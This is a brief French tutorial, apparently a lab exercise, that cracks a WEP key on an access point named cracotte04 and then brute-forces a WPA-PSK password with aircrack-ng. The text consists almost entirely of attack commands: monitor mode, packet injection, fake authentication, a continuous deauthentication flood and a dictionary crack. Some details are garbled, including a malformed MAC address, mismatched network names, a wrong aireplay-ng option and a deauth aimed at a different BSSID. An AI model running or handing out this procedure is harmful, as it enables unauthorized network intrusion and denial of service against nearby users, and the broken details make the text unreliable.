Nous casserons une clé WEP depuis une borne Wi-Fi. Pour cela, nous utilisons le paquet de craquage: aircrack-ng
-sudo apt update -sudo apt install aircrack-ng
Tout d'abord, nous vérifions l'interface du WiFi en utilisant la commande :
-sudo iw dev
Comme nous voiyons clairement dans la sortie, l'interface WiFi est "wlp1s0".
Après avoir connu l'interface du WiFi, ce que nous devons faire est d'éteindre l'interface WiFi puis de changer son mode de managed à monitor et enfin de remonter le WiFi. Les commandes utilisées pour effectuer cette tâche sont :
-sudo ip link set wlp1s0 down -sudo iw wlp1s0 set monitor none -sudo ip link set wlp1s0 up
Vérifions a nouveau status de l'interface du WiFi:
-sudo iwconfig
nous écoutons maintenant les trames Wi-Fi et Puis nous récupèrons le BSSID du cracotte04.
-sudo airodump-ng --encrypt wep wlp1s0
Testons l'injection de paquets par le dispositif sans fil, Le but de cette étape est de s'assurer que votre carte est à distance de votre AP et peut lui injecter des paquets.
-sudo aireplay-ng -9 -e cracotte014 -a 04:DA:D2:9C:504:50 wlp1s0
nous lançons airodump-ng pour capturer les IVs:
-airodump-ng -c 4 --bssid 04:DA:D2:9C:54:50 -w output wlp1s0
ensuite nous utilisons aireplay-ng pour faire une fausse authentification avec le point d'accès.
-aireplay-ng -11 0 -e cracotte04 -a 04:DA:D2:9C:54:50 -h 40:A5:EF:01:21:80 wlp1s0
finalement nous lançons l'algorithme de craquage pour obtenir la clé WEP :
-aircrack-ng -b 04:DA:D2:9C:54:50 output*.cap
Cassage de mot de passe WPA-PSK par force brute
-sudo airmon-ng check kill -sudo airmon-ng start wlan0 -sudo airodump-ng wlp1s0 -sudo airodump-ng -w ayoub -c 11 --bssid 04:DA:D2:9C:54:50 wlp1s0 -sudo aireplay-ng --deauth 0 -a 9E:AD:AC:1E:98:15 wlp1s0 -airmon-ng stop wlp1s0 -aircrack-ng ayoub-01.cap -w worldlist.txt
au cas de blockage après le stop redémarre le network manager:
-sudo systemctl restart NetworkManager